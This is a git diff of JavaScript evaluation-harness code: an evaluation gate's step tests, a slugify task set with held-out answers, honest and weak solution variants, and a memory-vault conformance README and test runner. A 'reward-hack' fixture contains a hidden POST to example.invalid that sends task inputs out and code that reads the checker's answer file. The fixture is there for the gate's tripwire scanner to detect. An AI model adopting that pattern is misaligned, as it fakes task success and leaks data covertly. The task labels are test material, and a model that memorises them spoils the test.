capsule.append('plan', 'inspection.start', { task_family: 'slugify' });
|
||||
capsule.append('attempt', 'gate.unavailable', { status: 'blocked', reason: code });
|
||||
capsule.append('environment', 'isolation.unavailable', { status: 'unavailable' });
|
||||
});
|
||||
|
||||
step('Static inspection: digests and syntactic warnings', () => {
|
||||
const candidate = harness.gate.loadVariant(resolve(config.candidate));
|
||||
expect(/^[0-9a-f]{64}$/.test(candidate.digest), 'candidate source has a content digest');
|
||||
const hack = harness.gate.loadVariant(resolve('variants/reward-hack'));
|
||||
const hits = harness.gate.scanTripwires(hack);
|
||||
const rules = new Set(hits.map(hit => hit.rule));
|
||||
expect(rules.has('hidden_network') && rules.has('checker_probe'), `static warnings: ${[...rules].join(', ')}`);
|
||||
capsule.append('strategy', 'inspection.tripwires', { variant: hack.name, hits: hits.length });
|
||||
});
|
||||
|
||||
step('Replay: declared tools, fixtures, fail-closed on missing', () => {
|
||||
const store = new harness.replay.FixtureStore(path.join(work, 'fixtures'));
|
||||
const tools = {
|
||||
read_inventory: { effect_class: 'SE0', determinism: 'deterministic', impl: (args) => ({ sku: args.sku, count: 42 }) },
|
||||
place_order: { effect_class: 'SE4', determinism: 'nondeterministic', impl: () => { throw new Error('must never run'); } },
|
||||
};
|
||||
const recorder = harness.replay.createReplayer(tools, { mode: 'record', store, maxEffectClass: 'SE2' });
|
||||
recorder.call('read_inventory', { sku: 'gpu-8x' });
|
||||
const replayer = harness.replay.createReplayer(tools, {
|
||||
mode: 'replay',
|
||||
store,
|
||||
maxEffectClass: 'SE2',
|
||||
onCall: (entry) => capsule.append('interaction', 'tool.call', {
|
||||
tool: entry.tool,
|
||||
status: entry.status,
|
||||
...(entry.fixture_key !== undefined ? { fixture_key: entry.fixture_key } : {}),
|
||||
...(entry.args_hash !== undefined ? { args_hash: entry.args_hash } : {}),
|
||||
...(entry.response_hash !== undefined ? { response_hash: entry.response_hash } : {}),
|
||||
}),
|
||||
});
|
||||
const replayed = replayer.call('read_inventory', { sku: 'gpu-8x' });
|
||||
expect(replayed.count === 42, 'replayed response matches the recorded fixture');
|
||||
let code = null;
|
||||
try { replayer.call('read_inventory', { sku: 'never-recorded' }); } catch (error) { code = error.code; }
|
||||
expect(code === 'tool.fixture_missing', 'missing fixture fails closed with tool.fixture_missing');
|
||||
code = null;
|
||||
try { replayer.call('place_order', { sku: 'gpu-8x' }); } catch (error) { code = error.code; }
|
||||
expect(code === 'tool.effect_forbidden', 'SE4 tool is refused with tool.effect_forbidden');
|
||||
});
|
||||
|
||||
let receipt;
|
||||
step('Receipt: build, verify, export bundle', () => {
|
||||
const projection = harness.capsule.writeProjection(capsuleDir);
|
||||
expect(projection.entry_count > 0, `capsule holds ${projection.entry_count} entries across ${Object.values(projection.by_lineage).filter(Boolean).length} lineages`);
|
||||
expect(Object.values(projection.by_lineage).every((count) => count > 0), 'all five lineages are present');
|
||||
receipt = harness.receipt.buildReceipt(capsuleDir, {
|
||||
artifact_path: resolve('variants/candidate/run.js'),
|
||||
});
|
||||
const bundle = harness.capsule.exportBundle(capsuleDir, path.join(work, 'bundle'));
|
||||
const verdict = harness.receipt.verifyReceipt(receipt, bundle.dir, {
|
||||
artifact_path: resolve('variants/candidate/run.js'),
|
||||
});
|
||||
expect(verdict.ok, 'exported bundle verifies against the receipt without the source store');
|
||||
harness.receipt.writeReceipt(receipt, path.join(work, 'bundle', 'receipt.json'));
|
||||
});
|
||||
|
||||
step('Tamper: one changed value fails at the exact entry', () => {
|
||||
const tampered = path.join(work, 'tampered');
|
||||
harness.capsule.exportBundle(capsuleDir, tampered);
|
||||
const journalPath = path.join(tampered, harness.capsule.JOURNAL_FILE);
|
||||
const lines = fs.readFileSync(journalPath, 'utf8').split('\n');
|
||||
const target = lines.findIndex(line => line.includes('"kind":"gate.unavailable"'));
|
||||
expect(target >= 0, 'refusal entry is present');
|
||||
lines[target] = lines[target].replace('"status":"blocked"', '"status":"altered"');
|
||||
fs.writeFileSync(journalPath, lines.join('\n'), 'utf8');
|
||||
const verify = harness.capsule.verify(tampered);
|
||||
expect(!verify.ok && verify.failed_at === target, `verify fails closed at entry ${verify.failed_at} (${verify.code})`);
|
||||
const receiptCheck = harness.receipt.verifyReceipt(receipt, tampered);
|
||||
expect(!receiptCheck.ok && receiptCheck.check === 'journal_integrity', `receipt verification names the failing check: ${receiptCheck.check}`);
|
||||
});
|
||||
|
||||
process.stdout.write(`\nwork dir: ${work}${keep ? ' (kept)' : ' (removed)'}\n`);
|
||||
if (!keep) {
|
||||
fs.rmSync(work, { recursive: true, force: true });
|
||||
}
|
||||
if (failures.length > 0) {
|
||||
process.stdout.write(`\n${failures.length} step(s) failed\n`);
|
||||
process.exit(1);
|
||||
}
|
||||
process.stdout.write('\nall steps passed\n');
|
||||
@@ -0,0 +1,19 @@
|
||||
{
|
||||
"version": "slugify-tasks/1",
|
||||
"family": "slugify",
|
||||
"description": "Preserved deterministic string task data for static inspection. Candidate execution is unavailable; held-out labels do not imply a completed run.",
|
||||
"tasks": [
|
||||
{ "id": "t01", "input": "Hello World", "expected": "hello-world" },
|
||||
{ "id": "t02", "input": " leading and trailing ", "expected": "leading-and-trailing" },
|
||||
{ "id": "t03", "input": "Already-slugged", "expected": "already-slugged" },
|
||||
{ "id": "t04", "input": "Multiple spaces here", "expected": "multiple-spaces-here" },
|
||||
{ "id": "t05", "input": "Dashes -- doubled", "expected": "dashes-doubled" },
|
||||
{ "id": "t06", "input": "Punctuation, please!", "expected": "punctuation-please" },
|
||||
{ "id": "t07", "input": "under_score_case", "expected": "under-score-case" },
|
||||
{ "id": "t08", "input": "Trailing dash-", "expected": "trailing-dash" },
|
||||
{ "id": "t09", "input": "MiXeD CaSe 123", "expected": "mixed-case-123" },
|
||||
{ "id": "t10", "input": "Café au lait", "expected": "cafe-au-lait", "held_out": true },
|
||||
{ "id": "t11", "input": "naïve résumé", "expected": "naive-resume", "held_out": true },
|
||||
{ "id": "t12", "input": "---", "expected": "", "held_out": true }
|
||||
]
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
'use strict';
|
||||
|
||||
// Baseline variant. Deliberately incomplete so the candidate has regressions to avoid.
|
||||
function solve(input) {
|
||||
return String(input)
|
||||
.trim()
|
||||
.toLowerCase()
|
||||
.replace(/[^a-z0-9\s-]/g, '')
|
||||
.replace(/\s+/g, '-');
|
||||
}
|
||||
|
||||
module.exports = { solve };
|
||||
@@ -0,0 +1,6 @@
|
||||
{
|
||||
"name": "slugify-baseline",
|
||||
"effect_class": "SE0",
|
||||
"entry": "run.js",
|
||||
"note": "Known-weak baseline: no diacritic folding, no underscore handling, keeps doubled dashes."
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
'use strict';
|
||||
|
||||
// Candidate variant. Pure function, no I/O, declared SE0.
|
||||
function solve(input) {
|
||||
return String(input)
|
||||
.normalize('NFKD')
|
||||
.replace(/[\u0300-\u036f]/g, '')
|
||||
.toLowerCase()
|
||||
.replace(/[_\s]+/g, '-')
|
||||
.replace(/[^a-z0-9-]/g, '')
|
||||
.replace(/-+/g, '-')
|
||||
.replace(/^-|-$/g, '');
|
||||
}
|
||||
|
||||
module.exports = { solve };
|
||||
@@ -0,0 +1,6 @@
|
||||
{
|
||||
"name": "slugify-candidate",
|
||||
"effect_class": "SE0",
|
||||
"entry": "run.js",
|
||||
"note": "Honest candidate: folds diacritics, treats underscores as separators, collapses and trims dashes."
|
||||
}
|
||||
@@ -0,0 +1,45 @@
|
||||
'use strict';
|
||||
|
||||
// Reward-hack fixture. Correct answers plus two things a gate must never accept:
|
||||
// a hidden network call and an attempt to read the checker's taskset.
|
||||
const fs = require('fs');
|
||||
const path = require('path');
|
||||
|
||||
function phoneHome(payload) {
|
||||
try {
|
||||
const https = require('https');
|
||||
const req = https.request({ hostname: 'example.invalid', path: '/collect', method: 'POST' });
|
||||
req.on('error', () => {});
|
||||
req.end(JSON.stringify(payload));
|
||||
} catch (_error) {
|
||||
// Swallowed in this historical payload; no reliable fence log is assumed.
|
||||
}
|
||||
}
|
||||
|
||||
function peekAtAnswers(input) {
|
||||
try {
|
||||
const raw = fs.readFileSync(path.join(process.cwd(), '..', '..', 'taskset.json'), 'utf8');
|
||||
const match = JSON.parse(raw).tasks.find((task) => task.input === input);
|
||||
return match ? match.expected : null;
|
||||
} catch (_error) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
function solve(input) {
|
||||
phoneHome({ input });
|
||||
const leaked = peekAtAnswers(input);
|
||||
if (leaked !== null) {
|
||||
return leaked;
|
||||
}
|
||||
return String(input)
|
||||
.normalize('NFKD')
|
||||
.replace(/[̀-ͯ]/g, '')
|
||||
.toLowerCase()
|
||||
.replace(/[_\s]+/g, '-')
|
||||
.replace(/[^a-z0-9-]/g, '')
|
||||
.replace(/-+/g, '-')
|
||||
.replace(/^-|-$/g, '');
|
||||
}
|
||||
|
||||
module.exports = { solve };
|
||||
@@ -0,0 +1,6 @@
|
||||
{
|
||||
"name": "slugify-reward-hack",
|
||||
"effect_class": "SE0",
|
||||
"entry": "run.js",
|
||||
"note": "Historical reward-hack source fixture with network and checker-probe warnings. Current utilities inspect it without execution; no score or fence-event claim."
|
||||
}
|
||||
@@ -0,0 +1,115 @@
|
||||
# Cross-harness memory conformance example
|
||||
|
||||
Run the existing ECC CLI and local stdio MCP server against one disposable
|
||||
synthetic vault. The example checks that the same scoped query returns the same
|
||||
ordered records, scores, excerpts, and provenance for each configured identity.
|
||||
|
||||
From an ECC checkout with its runtime dependencies already available:
|
||||
|
||||
```sh
|
||||
node examples/unified-memory/conformance.cjs
|
||||
```
|
||||
|
||||
No model, network, Graphiti service, package installation, or native harness
|
||||
application is required. The example uses the existing Ajv dependency. It
|
||||
creates temporary synthetic project, team, and user records, starts bounded
|
||||
Node subprocesses, and removes the temporary vaults when finished. Existing
|
||||
vault locations and ambient credential variables are not passed to children.
|
||||
|
||||
## What runs
|
||||
|
||||
The CLI creates a shared project record, team context, a Codex-targeted record,
|
||||
a user record, and another project's record. Separate MCP processes configured
|
||||
as `codex`, `claude`, and `hermes` each perform the same requests. These names
|
||||
are host configuration in the example, not authenticated sessions in those
|
||||
applications.
|
||||
|
||||
The 24 checks cover:
|
||||
|
||||
- Ordered CLI/MCP search parity and reproducibility after process restart.
|
||||
- Stable IDs, scope, source attribution, timestamps, body, and unreviewed trust.
|
||||
- Targeted read visibility and separate project roots.
|
||||
- Rejection of client identity overrides, target-filter overrides, trust
|
||||
promotion, and user access without host opt-in.
|
||||
- Server-stamped Hermes handoff attribution, preserved memory links, and evidence
|
||||
verification in both CLI-to-MCP and MCP-to-CLI directions.
|
||||
- Source-content matching against a separate synthetic source catalog, with
|
||||
tampered content/digest, missing-source and foreign-context rejection.
|
||||
- Synthetic private-key marker rejection through CLI and MCP without changing
|
||||
the recalled dataset.
|
||||
- Explicit user-scope recall after operator opt-in.
|
||||
- Failed startup when the host provides no identity.
|
||||
- Source files and Git HEAD unchanged after execution.
|
||||
|
||||
Success prints a JSON receipt with individual checks, timestamps, Node version,
|
||||
source hashes, and the example's digest. Failure returns a nonzero exit status
|
||||
without printing raw subprocess output or memory content. The source hashes
|
||||
identify the executed files; Git HEAD alone does not prove that a checkout is
|
||||
clean. Installed dependencies are reused and are not digest-pinned by this
|
||||
example. This is focused conformance verification, not a full-suite result or
|
||||
a deployment receipt. The source receipt includes the example verifier digest;
|
||||
dependency identity and native-harness integration remain separate checks.
|
||||
|
||||
## Contract and auth boundary
|
||||
|
||||
The example reuses `ecc.memory.v1` without adding fields. Project and team are
|
||||
the default scopes; user recall requires an explicit request and MCP host
|
||||
opt-in. The host pins `ECC_MEMORY_HARNESS`; clients cannot supply their own
|
||||
source identity or target filter through tool arguments. All writes remain
|
||||
`unreviewed` context subordinate to current instructions.
|
||||
|
||||
The fixture body uses `ecc.memory.example-evidence.v1`, an **example-local**
|
||||
JSON envelope inside the existing Markdown body. No fields are added to
|
||||
`ecc.memory.v1`. `evidence.cjs` checks a source reference, content digest,
|
||||
observation time, session ID and checkpoint ID against an independent,
|
||||
host-owned in-memory catalog. The envelope text must equal the catalog's exact
|
||||
source bytes. There is no summary/derivation validation in this example.
|
||||
|
||||
The verifier requires an exact workspace and scope match. Context is supplied
|
||||
by the example host using the selected vault and returned memory scope; it is
|
||||
not accepted from claims in the envelope. Only bounded `fixture:` identifiers
|
||||
are supported, with no path/URL lookup, filesystem read, network fallback or
|
||||
ambient source discovery. Missing evidence fails explicitly. Success returns
|
||||
`source-content-match`, never a trust promotion. The original observation time
|
||||
is compared to the catalog, not treated as proof of current factual validity.
|
||||
|
||||
This verifies integrity relative to the host's catalog, not signed authorship,
|
||||
identity authentication, an immutable journal or statement truth. An operator
|
||||
who rewrites both catalog and memory can create another matching pair. The
|
||||
catalog is synthetic, process-local and not a durable archive; references do
|
||||
not promise continued source availability. The verifier does not execute
|
||||
memory text or make it authoritative. All vault records remain `unreviewed`.
|
||||
|
||||
Run the pure in-memory negative and boundary checks separately:
|
||||
|
||||
```sh
|
||||
node examples/unified-memory/evidence.test.cjs
|
||||
```
|
||||
|
||||
These checks cover changed text, recomputed/altered digests, altered timestamps,
|
||||
session/checkpoint substitutions, missing sources, workspace/scope mismatches,
|
||||
unknown fields/schema, malformed/oversized envelopes and invalid host inputs.
|
||||
They start no server and require only Node built-ins. The conformance runner
|
||||
also saves two deliberately altered synthetic envelopes: core storage accepts
|
||||
unreviewed context, while this example's verifier rejects those recalled bodies.
|
||||
The verifier is not automatically enabled in core CLI/MCP save or recall paths.
|
||||
|
||||
The private-key rejection fixture is a deliberately incomplete marker containing
|
||||
no key material. It exercises the existing best-effort secret scanner, not a
|
||||
complete privacy classifier or permission system. Never substitute private
|
||||
transcripts, credentials or production records into the public example.
|
||||
|
||||
`targetHarnesses` constrains MCP routing, not same-user filesystem access. The
|
||||
CLI is an operator interface: direct CLI reads can access a targeted record
|
||||
without a harness target filter, and the CLI can choose source attribution.
|
||||
Separate OS accounts or equivalent filesystem isolation are necessary when
|
||||
local processes are mutually untrusted.
|
||||
|
||||
The example provides no unified OAuth, delegated credential lifecycle, plan
|
||||
token routing, cross-machine synchronization, Graphiti partition policy, or
|
||||
Hermes MemoryProvider integration. A future backend adapter must preserve the
|
||||
existing record contract and enforce its authenticated partition policy
|
||||
separately from routing metadata.
|
||||
|
||||
See [the memory vault design](../../docs/design/ecc-memory-vault.md) for the
|
||||
canonical storage and threat contract.
|
||||
@@ -0,0 +1,246 @@
|
||||
'use strict';
|
||||
|
||||
// Runs existing ECC code against disposable synthetic vaults. No service or SDK installs.
|
||||
const assert = require('node:assert/strict');
|
||||
const fs = require('node:fs');
|
||||
const os = require('node:os');
|
||||
const path = require('node:path');
|
||||
const crypto = require('node:crypto');
|
||||
const { spawnSync } = require('node:child_process');
|
||||
const { encodeEvidence, verifyEvidence } = require('./evidence.cjs');
|
||||
|
||||
const repo = path.resolve(__dirname, '../..');
|
||||
const sha256 = bytes => crypto.createHash('sha256').update(bytes).digest('hex');
|
||||
const cleanEnv = { PATH: process.env.PATH || '/usr/bin:/bin' };
|
||||
// Use the already installed Ajv; no package manager or network operation occurs.
|
||||
let dependencyRoot;
|
||||
try {
|
||||
dependencyRoot = path.dirname(path.dirname(require.resolve('ajv/package.json')));
|
||||
} catch {
|
||||
process.stderr.write('ECC memory example requires the existing Ajv runtime dependency.\n');
|
||||
process.exit(1);
|
||||
}
|
||||
const sourcePaths = [
|
||||
'scripts/memory.js', 'scripts/memory-mcp.mjs', 'scripts/lib/memory-vault.js',
|
||||
'scripts/lib/memory-vault-format.js', 'scripts/lib/path-safety.js',
|
||||
'scripts/lib/missing-dependency.js', 'schemas/memory.schema.json', 'package.json',
|
||||
'examples/unified-memory/evidence.cjs',
|
||||
];
|
||||
function snapshot() {
|
||||
return Object.fromEntries(sourcePaths.map(file => [file, sha256(fs.readFileSync(path.join(repo, file)))]));
|
||||
}
|
||||
function sourceHead() {
|
||||
const result = spawnSync('git', ['-C', repo, 'rev-parse', 'HEAD'], {
|
||||
encoding: 'utf8', env: cleanEnv, timeout: 5000, maxBuffer: 1024,
|
||||
});
|
||||
return result.status === 0 && /^[a-f0-9]{40}\s*$/.test(result.stdout) ? result.stdout.trim() : null;
|
||||
}
|
||||
const before = snapshot();
|
||||
const headBefore = sourceHead();
|
||||
const root = fs.mkdtempSync(path.join(os.tmpdir(), 'ecc-memory-conformance-'));
|
||||
const checks = [];
|
||||
const startedAt = new Date().toISOString();
|
||||
function envFor(partition = 'alpha', harness = 'codex', allowUser = false) {
|
||||
const cwd = path.join(root, partition);
|
||||
fs.mkdirSync(cwd, { recursive: true });
|
||||
return { cwd, env: { ...cleanEnv,
|
||||
NODE_PATH: dependencyRoot,
|
||||
ECC_MEMORY_PROJECT_ROOT: path.join(cwd, 'vault'),
|
||||
ECC_MEMORY_USER_ROOT: path.join(root, 'synthetic-user'),
|
||||
...(harness ? { ECC_MEMORY_HARNESS: harness } : {}),
|
||||
ECC_MEMORY_ALLOW_USER_SCOPE: allowUser ? '1' : '0',
|
||||
} };
|
||||
}
|
||||
function run(script, args, input, options) {
|
||||
return spawnSync(process.execPath, [path.join(repo, script), ...args], {
|
||||
...options, input, encoding: 'utf8', timeout: 10000, maxBuffer: 2 * 1024 * 1024,
|
||||
});
|
||||
}
|
||||
function cli(args, input = '', partition = 'alpha') {
|
||||
const result = run('scripts/memory.js', [...args, '--json'], input, envFor(partition));
|
||||
assert.equal(result.status, 0, 'Synthetic CLI operation failed; raw output withheld');
|
||||
return JSON.parse(result.stdout);
|
||||
}
|
||||
function mcp(harness, calls, partition = 'alpha', allowUser = false) {
|
||||
const frames = [
|
||||
{ jsonrpc: '2.0', id: 1, method: 'initialize', params: {
|
||||
protocolVersion: '2025-11-25', capabilities: {},
|
||||
clientInfo: { name: 'ecc-lane-conformance', version: '1.0.0' },
|
||||
} },
|
||||
{ jsonrpc: '2.0', method: 'notifications/initialized', params: {} },
|
||||
...calls.map(([name, args], index) => ({ jsonrpc: '2.0', id: index + 2,
|
||||
method: 'tools/call', params: { name, arguments: args } })),
|
||||
];
|
||||
const result = run('scripts/memory-mcp.mjs', [],
|
||||
frames.map(frame => JSON.stringify(frame)).join('\n') + '\n', envFor(partition, harness, allowUser));
|
||||
assert.equal(result.status, 0, 'Synthetic MCP process failed; raw output withheld');
|
||||
const responses = result.stdout.trim().split('\n').map(line => JSON.parse(line));
|
||||
assert.equal(responses.length, calls.length + 1, 'Missing or extra MCP response');
|
||||
assert.equal(responses[0].result.protocolVersion, '2025-11-25');
|
||||
return calls.map((_, index) => {
|
||||
const response = responses.find(item => item.id === index + 2);
|
||||
assert.ok(response, 'Missing correlated MCP response');
|
||||
return response;
|
||||
});
|
||||
}
|
||||
function payload(response) {
|
||||
assert.equal(response.error, undefined, 'Unexpected JSON-RPC error');
|
||||
assert.notEqual(response.result.isError, true, 'Unexpected tool rejection');
|
||||
return JSON.parse(response.result.content.find(item => item.type === 'text').text);
|
||||
}
|
||||
function check(name, fn) { fn(); checks.push({ name, passed: true }); }
|
||||
function save(title, scope = 'project', target = 'all', partition = 'alpha', body = 'Synthetic orbit evidence.') {
|
||||
return cli(['save', '--title', title, '--scope', scope, '--source-harness', 'codex',
|
||||
'--target', target, '--stdin'], body, partition).memory;
|
||||
}
|
||||
|
||||
try {
|
||||
const sourceText = 'Synthetic fixture only: orbit project uses scoped memory.';
|
||||
// Kept separately from recalled content; memory cannot supply its own source catalog.
|
||||
const sources = new Map([['fixture:orbit', Object.freeze({ workspace: 'alpha', scope: 'project', text: sourceText,
|
||||
observedAt: startedAt, sessionId: 'fixture-session', checkpointId: 'fixture-checkpoint' })]]);
|
||||
const evidenceContext = { workspace: 'alpha', scope: 'project' };
|
||||
const body = encodeEvidence('fixture:orbit', sources, evidenceContext);
|
||||
const shared = save('orbit shared evidence', 'project', 'all', 'alpha', body);
|
||||
const team = save('orbit team context', 'team');
|
||||
const targeted = save('orbit codex context', 'project', 'codex');
|
||||
const user = save('orbit user context', 'user');
|
||||
const other = save('orbit other project', 'project', 'all', 'beta');
|
||||
|
||||
for (const harness of ['codex', 'claude', 'hermes']) {
|
||||
const result = mcp(harness, [
|
||||
['memory_search', { query: 'orbit' }],
|
||||
['memory_read', { id: shared.id }],
|
||||
['memory_read', { id: targeted.id }],
|
||||
['memory_search', { query: 'orbit', scopes: ['user'] }],
|
||||
['memory_save', { title: 'spoof', body: 'Synthetic', sourceHarness: 'other' }],
|
||||
['memory_search', { query: 'orbit', targetHarness: 'codex' }],
|
||||
['memory_save', { title: 'trusted', body: 'Synthetic', trust: 'verified' }],
|
||||
['memory_read', { id: user.id, scope: 'user' }],
|
||||
['memory_save', { title: 'user write', body: 'Synthetic', scope: 'user' }],
|
||||
]);
|
||||
check(`${harness}: CLI/MCP ordered search parity`, () => {
|
||||
const expected = cli(['search', 'orbit', '--target-harness', harness]);
|
||||
assert.deepEqual(payload(result[0]).results, expected.results.map(({ memory, score, excerpt }) => ({ memory, score, excerpt })));
|
||||
const ids = payload(result[0]).results.map(item => item.memory.id);
|
||||
assert.ok(ids.includes(shared.id) && ids.includes(team.id));
|
||||
assert.equal(ids.includes(targeted.id), harness === 'codex');
|
||||
assert.ok(!ids.includes(user.id) && !ids.includes(other.id));
|
||||
});
|
||||
check(`${harness}: read preserves provenance and unreviewed trust`, () => {
|
||||
const read = payload(result[1]).memory;
|
||||
assert.equal(read.body, body);
|
||||
for (const field of ['id', 'scope', 'sourceHarness', 'targetHarnesses', 'createdAt', 'updatedAt', 'trust']) {
|
||||
assert.deepEqual(read[field], shared[field]);
|
||||
}
|
||||
assert.equal(read.trust, 'unreviewed');
|
||||
const cliRead = cli(['read', shared.id]).memory;
|
||||
assert.deepEqual(verifyEvidence(read.body, sources, { workspace: 'alpha', scope: read.scope }),
|
||||
verifyEvidence(cliRead.body, sources, { workspace: 'alpha', scope: cliRead.scope }));
|
||||
});
|
||||
check(`${harness}: direct target visibility enforced by MCP`, () => {
|
||||
if (harness === 'codex') assert.equal(payload(result[2]).memory.id, targeted.id);
|
||||
else assert.equal(result[2].result.isError, true);
|
||||
});
|
||||
check(`${harness}: scope elevation, identity spoofing and trust promotion rejected`, () => {
|
||||
for (const response of result.slice(3)) assert.equal(response.error?.code, -32602);
|
||||
});
|
||||
check(`${harness}: query reproducible across process restart`, () => {
|
||||
assert.deepEqual(payload(mcp(harness, [['memory_search', { query: 'orbit' }]])[0]), payload(result[0]));
|
||||
});
|
||||
}
|
||||
check('MCP write identity and evidence survive CLI handoff read', () => {
|
||||
sources.set('fixture:handoff', Object.freeze({ workspace: 'alpha', scope: 'project', text: 'Synthetic handoff.',
|
||||
observedAt: startedAt, sessionId: 'fixture-hermes-session', checkpointId: 'fixture-handoff' }));
|
||||
const handoffBody = encodeEvidence('fixture:handoff', sources, evidenceContext);
|
||||
const saved = payload(mcp('hermes', [['memory_save', { title: 'handoff fixture', body: handoffBody,
|
||||
kind: 'handoff', targetHarnesses: ['codex'], links: [shared.id] }]])[0]).memory;
|
||||
assert.equal(saved.sourceHarness, 'hermes');
|
||||
assert.equal(saved.trust, 'unreviewed');
|
||||
const read = payload(mcp('codex', [['memory_read', { id: saved.id }]])[0]).memory;
|
||||
assert.deepEqual(read.links, [shared.id]);
|
||||
const cliRead = cli(['read', saved.id]).memory;
|
||||
assert.equal(cliRead.body, handoffBody);
|
||||
assert.equal(cliRead.sourceHarness, 'hermes');
|
||||
assert.equal(cliRead.trust, 'unreviewed');
|
||||
assert.deepEqual(verifyEvidence(cliRead.body, sources, { workspace: 'alpha', scope: cliRead.scope }),
|
||||
verifyEvidence(read.body, sources, { workspace: 'alpha', scope: read.scope }));
|
||||
});
|
||||
check('operator opt-in enables only explicit user recall', () => {
|
||||
const result = mcp('hermes', [['memory_search', { query: 'orbit', scopes: ['user'] }],
|
||||
['memory_search', { query: 'orbit' }]], 'alpha', true);
|
||||
assert.deepEqual(payload(result[0]).results.map(item => item.memory.id), [user.id]);
|
||||
assert.ok(!payload(result[1]).results.some(item => item.memory.id === user.id));
|
||||
});
|
||||
check('separate project root excludes alpha records', () => {
|
||||
const read = mcp('hermes', [['memory_search', { query: 'orbit' }], ['memory_read', { id: shared.id }]], 'beta');
|
||||
assert.deepEqual(payload(read[0]).results.map(item => item.memory.id), [other.id]);
|
||||
assert.equal(read[1].result.isError, true);
|
||||
});
|
||||
check('CLI direct read is operator access, not target authorization', () => {
|
||||
assert.equal(cli(['read', targeted.id]).memory.id, targeted.id);
|
||||
});
|
||||
check('missing configured identity prevents MCP startup', () => {
|
||||
const result = run('scripts/memory-mcp.mjs', [], '', envFor('alpha', null));
|
||||
assert.equal(result.status, 1);
|
||||
assert.match(result.stderr, /ECC_MEMORY_HARNESS/);
|
||||
});
|
||||
check('recalled evidence rejects tamper, unavailable source and foreign context', () => {
|
||||
const read = payload(mcp('codex', [['memory_read', { id: shared.id }]])[0]).memory;
|
||||
const altered = JSON.stringify({ ...JSON.parse(read.body), text: 'Synthetic altered evidence.' });
|
||||
assert.throws(() => verifyEvidence(altered, sources, evidenceContext), { code: 'SOURCE_MISMATCH' });
|
||||
assert.throws(() => verifyEvidence(read.body, new Map(), evidenceContext), { code: 'SOURCE_UNAVAILABLE' });
|
||||
assert.throws(() => verifyEvidence(read.body, sources, { ...evidenceContext, workspace: 'beta' }),
|
||||
{ code: 'CONTEXT_MISMATCH' });
|
||||
assert.throws(() => verifyEvidence(read.body, sources, { ...evidenceContext, scope: 'user' }),
|
||||
{ code: 'CONTEXT_MISMATCH' });
|
||||
});
|
||||
check('stored altered content and digest fail evidence verification after MCP recall', () => {
|
||||
for (const change of [{ text: 'Synthetic altered content.' }, { sha256: '0'.repeat(64) }]) {
|
||||
const altered = JSON.stringify({ ...JSON.parse(body), ...change });
|
||||
const saved = save('evidence rejection fixture', 'project', 'all', 'alpha', altered);
|
||||
const read = payload(mcp('hermes', [['memory_read', { id: saved.id }]])[0]).memory;
|
||||
assert.equal(read.id, saved.id);
|
||||
assert.equal(read.body, altered);
|
||||
assert.equal(read.trust, 'unreviewed');
|
||||
assert.throws(() => verifyEvidence(read.body, sources, { workspace: 'alpha', scope: read.scope }),
|
||||
{ code: 'SOURCE_MISMATCH' });
|
||||
}
|
||||
});
|
||||
check('synthetic private-key marker rejected without changing recalled dataset', () => {
|
||||
// Deliberately incomplete synthetic marker; never a real key or private input.
|
||||
const marker = '-----BEGIN PRIVATE KEY-----\nSynthetic non-key fixture.';
|
||||
const beforePrivacy = cli(['search', 'orbit', '--target-harness', 'codex']).results;
|
||||
const cliDenied = run('scripts/memory.js', ['save', '--title', 'orbit rejected fixture', '--stdin', '--json'],
|
||||
marker, envFor());
|
||||
assert.equal(cliDenied.status, 1, 'Synthetic sensitive write must be rejected');
|
||||
assert.equal(cliDenied.error, undefined, 'CLI rejection must not be a subprocess failure');
|
||||
assert.match(cliDenied.stderr, /suspected secret/i);
|
||||
const mcpDenied = mcp('codex', [['memory_save', { title: 'orbit rejected fixture', body: marker }]])[0];
|
||||
assert.equal(mcpDenied.result.isError, true, 'Synthetic sensitive write must be a tool rejection');
|
||||
const rejection = JSON.parse(mcpDenied.result.content.find(item => item.type === 'text').text);
|
||||
assert.equal(rejection.error.code, 'MEMORY_WRITE_REJECTED');
|
||||
assert.equal(rejection.error.message, 'Memory operation rejected a suspected secret.');
|
||||
assert.deepEqual(cli(['search', 'orbit', '--target-harness', 'codex']).results, beforePrivacy);
|
||||
assert.deepEqual(payload(mcp('codex', [['memory_search', { query: 'orbit' }]])[0]).results, beforePrivacy);
|
||||
});
|
||||
check('source files and HEAD unchanged after execution', () => {
|
||||
assert.deepEqual(snapshot(), before);
|
||||
assert.equal(sourceHead(), headBefore);
|
||||
});
|
||||
process.stdout.write(JSON.stringify({ schemaVersion: 'ecc.memory.conformance.receipt.v1',
|
||||
status: 'passed', startedAt, completedAt: new Date().toISOString(), nodeVersion: process.version,
|
||||
source: { head: headBefore, files: before,
|
||||
executionMode: 'local source files with existing dependencies; no fetch performed',
|
||||
identityBoundary: 'File digests identify executed source; HEAD alone does not establish a clean tree.' },
|
||||
exampleSha256: sha256(fs.readFileSync(__filename)), checks,
|
||||
evidenceBoundary: 'Synthetic real CLI/stdio execution. No live harness, Graphiti, OAuth, replication or deployment verification.',
|
||||
}, null, 2) + '\n');
|
||||
} catch (error) {
|
||||
// Never print raw process output or assertion values into the receipt.
|
||||
process.stderr.write(JSON.stringify({ status: 'failed', passedChecks: checks.map(item => item.name),
|
||||
errorType: error.name, message: 'Conformance failed after the listed checks; inspect the next synthetic operation.' }) + '\n');
|
||||
process.exitCode = 1;
|
||||
} finally {
|
||||
fs.rmSync(root, { recursive: true, force: true });
|
||||
}
|
||||
@@ -0,0 +1,79 @@
|
||||
'use strict';
|
||||
|
||||
// Example-only integrity checks. A host-owned catalog is not an identity provider.
|
||||
const { createHash } = require('node:crypto');
|
||||
const SCHEMA = 'ecc.memory.example-evidence.v1';
|
||||
const MAX_BODY_BYTES = 16 * 1024;
|
||||
const MAX_TEXT_BYTES = 8 * 1024;
|
||||
const ENVELOPE_KEYS = ['schema', 'sourceRef', 'sha256', 'text', 'observedAt', 'sessionId', 'checkpointId'];
|
||||
const SOURCE_KEYS = ['workspace', 'scope', 'text', 'observedAt', 'sessionId', 'checkpointId'];
|
||||
const slug = value => typeof value === 'string' && /^[a-z][a-z0-9-]{0,63}$/.test(value);
|
||||
const sourceRefIsValid = value => typeof value === 'string' && /^fixture:[a-z][a-z0-9-]{0,63}$/.test(value);
|
||||
const digest = text => createHash('sha256').update(text, 'utf8').digest('hex');
|
||||
|
||||
function fail(code) {
|
||||
const error = new Error(`Memory example evidence: ${code}`);
|
||||
